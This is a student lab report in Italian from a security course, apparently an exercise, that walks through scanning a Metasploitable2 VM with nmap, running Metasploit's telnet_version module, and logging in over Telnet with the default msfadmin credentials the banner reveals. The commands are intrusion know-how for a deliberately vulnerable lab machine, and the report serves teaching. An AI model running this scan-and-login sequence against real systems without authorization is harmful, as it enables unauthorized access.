

EPICODE

CS0424

S7 / L2

Exploit Telnet con Metasploit

Victoria M. Braile

Prof. Antonio Pozzi

PANORAMICA



- **Traccia esercizio**
- **Configurazione IP**
- **Porta 23 Telnet**
- **Metasploit**
- **RHOSTS**
- **Exploit**

TRACCIA ESERCIZIO

- Sulla base dell'esercizio visto in lezione teorica, utilizzare **Metasploit** per sfruttare la vulnerabilità relativa a **Telnet** con il modulo **auxiliary telnet_version** sulla macchina Metasploitable.
- Prima, configurare l'ip della Kali con **192.168.1.25** e l'ip della Metasploitable con **192.168.1.40**.



CONFIGURAZIONE IP

Come prima cosa vengono configurati gli IP di Kali Linux e Metasploitable2, impostando rispettivamente **IP 192.168.1.25** per **Kali Linux** e **IP 192.168.1.40** per **Metasploitable2**.

Su **Metasploitable2** viene modificato il file di configurazione con in comando **sudo nano etc/network/interfaces** mentre su **Kali Linux** la modifica avviene **tramite GUI**.

Infine verifico la **comunicazione** tra le due macchine virtuali con il comando **ping**.

```
(kali@kali)-[~]  
$ ping -c4 192.168.1.40  
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.  
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.777 ms  
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=1.63 ms  
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=1.28 ms  
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=1.62 ms  
  
— 192.168.1.40 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3006ms  
rtt min/avg/max/mdev = 0.777/1.327/1.630/0.348 ms
```

```
msfadmin@metasploitable:~$ ping -c4 192.168.1.25  
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data.  
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=0.845 ms  
64 bytes from 192.168.1.25: icmp_seq=2 ttl=64 time=0.716 ms  
64 bytes from 192.168.1.25: icmp_seq=3 ttl=64 time=0.698 ms  
64 bytes from 192.168.1.25: icmp_seq=4 ttl=64 time=0.967 ms  
  
--- 192.168.1.25 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 2997ms  
rtt min/avg/max/mdev = 0.698/0.806/0.967/0.112 ms
```

PORTA 23 TELNET

Come spiegato nella lezione di teoria, Metasploitable presenta un **servizio Telnet in ascolto sulla porta 23**, che trasferisce il traffico su un canale non cifrato.

Viene verificata comunque con il software **nmap** la presenza di questa vulnerabilità digitando sul terminale di Kali Linux il comando:

sudo nmap -sV -sT 192.168.1.40

Lo scan con **nmap conferma** la presenza del servizio Telnet in ascolto sulla porta aperta 23.

```
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 10:41 EDT
Nmap scan report for 192.168.1.40
Host is up (0.0022s latency).  
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
```

METASPLOIT

A questo punto si può passare all'utilizzo di **Metasploit** per sfruttare la vulnerabilità riscontrata.

Per avviare Metasploit viene usato il comando **msfconsole** dal terminale di Kali Linux, e una volta ricevuto il messaggio di “benvenuto” si utilizza il modulo ausiliario indicato nella lezione di teoria eseguendo il seguente comando:

use auxiliary/scanner/telnet/telnet_version

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: You can use help to view all available commands

/ it looks like you're trying to run a \
\ module

@ @
|| |
|| |
|| |
\_/

      =[ metasploit v6.4.9-dev                               ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post           ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops              ]
+ -- --=[ 9 evasion                                           ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > 
```


RHOSTS

La prima cosa da fare è controllare le opzioni necessarie per lanciare l'attacco, viene dunque eseguito il comando **show options**.

Tra i parametri da inserire si trova **RHOSTS**, l'indirizzo target dove è in **esecuzione** il servizio **telnet**. Viene quindi configurato **RHOSTS** eseguendo il seguente comando:

set RHOSTS 192.168.1.40

Dove l'indirizzo IP è quello della **Metasploitable**.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23               yes       The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)
  TIMEOUT   30               yes       Timeout for the Telnet probe
  USERNAME  no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > █
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    192.168.1.40    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23               yes       The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)
  TIMEOUT   30               yes       Timeout for the Telnet probe
  USERNAME  no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > █
```

EXPLOIT

Dal momento che per il modulo scelto non è necessario specificare un payload, si passa direttamente all'esecuzione dell'attacco usando il comando **exploit**.

Per verificare le informazioni che riporta il modulo, viene eseguito il comando

telnet 192.168.1.40

Nel momento in cui viene richiesto il login, si inseriscono user e password msfadmin e msfadmin e una volta **ottenuto l'accesso** si ha la conferma del **successo dell'attacco**.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
msfadmin/msfadmin to get started
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jul  9 10:14:30 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```